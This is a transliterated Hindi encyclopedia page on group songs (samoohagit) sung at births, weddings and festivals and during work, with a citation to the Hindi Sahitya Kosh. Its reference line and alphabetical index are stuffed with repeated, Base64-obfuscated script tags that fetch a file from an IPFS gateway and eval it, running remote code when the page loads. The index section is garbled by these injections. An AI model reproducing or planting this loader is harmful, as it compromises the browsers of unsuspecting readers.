समूहगीत

samoohagit bharat mean janm, vivah adi ke shubh avasaroan par gae jate haian. lok jivan prarambh se hi samoohik raha hai, at: utsav, ullas, kary-vyapar mean samoohikata sada se spasht rahi hai. sam-gan samoohaparak tha. stutiyaan samoohik thian. jis sanskriti kal mean vyakti ek alag ikaee n hokar samaj ka avichchhinn aang aur aanshamatr tha, us samay hi samoohagit ka udbhav aur vikas hua.

gayan

sanskaroan ke avasar samoohik jivan ki chetana ko hi spasht karate haian. janm, vivah adi ke avasaroan par aise git gaye jate haian. samajik jivan ki vichchhinnata ke karan in gitoan ki pratha kramash: kam hoti ja rahi hai. karmakaroan ka samooh apane shram ko bhulava dene ke lie samoohik roop se gayan karata hai, jaise ropani ke git, banjaroan ke tin, navikoan ke git adi. in gitoan mean se kuchh mean vargagit bhi a jate haian, kyoanki vargagat bhavanaoan aur dharanaoan ki abhivyakti rahati hai. samrihagit mean samoohik gayan, arthath gayan paddhati par vichar kiya jata hai aur vargagit mean abhivyakti aur vicharadhara par. samoohik roop se gaye jane-vale git varg-bhavana se mukt rah sakate haian aur vargagit ka gayak akela vyakti bhi ho sakata hai.^[1]

vibhajan

lokagitoan ki parampara ko simit sahityik roop dene ka prayas pragativadiyoan ne kiya, kyoanki marks ke anusar darshan ka prayojan jivan-paddhati ka parivartan hai. at: in kaviyoan ne vargagitoan ki rachana ke dvara bharatiy janata ki vargachetana ko ubharane ki cheshta ki. is drishti se vargagit do vargoan mean vibhajit kie ja sakate haian-

varg vishesh ki dharana ko vyakt karane vale git.
varg chetana ko ubharane ke lie likhe gaye git.

pratham koti ke git anayas aur achetan bhav se dharana aur bhavana ko abhivyakt karate haian aur doosare prakar ke git sayas evan bauddhikatamoolak siddhaantavadi haian. pratham prakar ke gitoan ke rachayita ajnat-kul-shil vyakti the aur doosare prakar ke gitakar marksavad aur vargasiddhaant ke sachesht upadeshak aur vyakhyata hai. 'charchari' ka arth chauraha hai, at: chaurahoan par gaye jane vale samoohik git ka nam charchari hua. holi, phag adi utsav sambandhi git bhi samavet roop mean gaye jate haian aur ve samoohagit haian.^[1]

samajagit

samajagit bhi samoohik git ka ek aansh hai. samooh mean samoohik gayan ki paddhati par bal hai to samajagit mean samooh ki samajik parinati ki sakaanksh abhivyakti. bharatiy samaj vibhinn staroan, jatiyoan aur sampradayoan mean vibhakt hai. prabhati, vaivahik git adi shuddh samoohik git haian, kiantu krishi sambandhi gitoan mean adhik samajagit hai, kyoanki inamean krishak samaj ki samasyaoan, ashaoan, nirashaoan ki abhivyanjana rahati hai.

vibhinn jatiyoan ke sambandh vale git bhi samajagit ke aantargat ate haian. inake atirikt ek prakar ke samajagit haian, jo vibhinn dharmik sampradayoan mean prachalit haian. 'nirgun' namak git isi parampara ka dyotak hai. 'jogi da' isi prakar ka ek git-bhed hai, jo bad mean chalakar vikrit ho gaya. samoohagitoan ka ek vibhed utsavagit hai, jinaka sambandh vishesh utsavoan aur parvoan se hai. samoohik jivan aur lokamanas ka parichay inake dvara milata hai. holi isaka anyatam udaharan hai, jise 'phag' bhi kahate haian. sant sahity mean isaka nam basant bhi hai. kabir ne apani holi mean atma-paramatma ki milanotkantha aur anand ka varnan kiya hai.^[1]

panne ki pragati avastha

adhar

prarambhik

madhyamik

poornata

shodh

tika tippani aur sandarbh

↑ ^1.0 ^1.1 ^1.2 hindi sahity kosh, bhag 1 |prakashak: jnanamandal limited, varanasi |sankalan: bharatakosh pustakalay |sanpadan: d aau. dhireandr varma |prishth sankhya: 733 | <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

sanbandhit lekh

varnamala kramanusar lekh khoj

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<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> r <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> l <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> v <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> sh <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> sh <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> s <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> h <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> ksh <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> tr <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> jn <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> rri <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> rri <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> aau <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> shr <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>aah

[aa-1] 1.0 ^1.1 ^1.2 hindi sahity kosh, bhag 1 |prakashak: jnanamandal limited, varanasi |sankalan: bharatakosh pustakalay |sanpadan: d aau. dhireandr varma |prishth sankhya: 733 | <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

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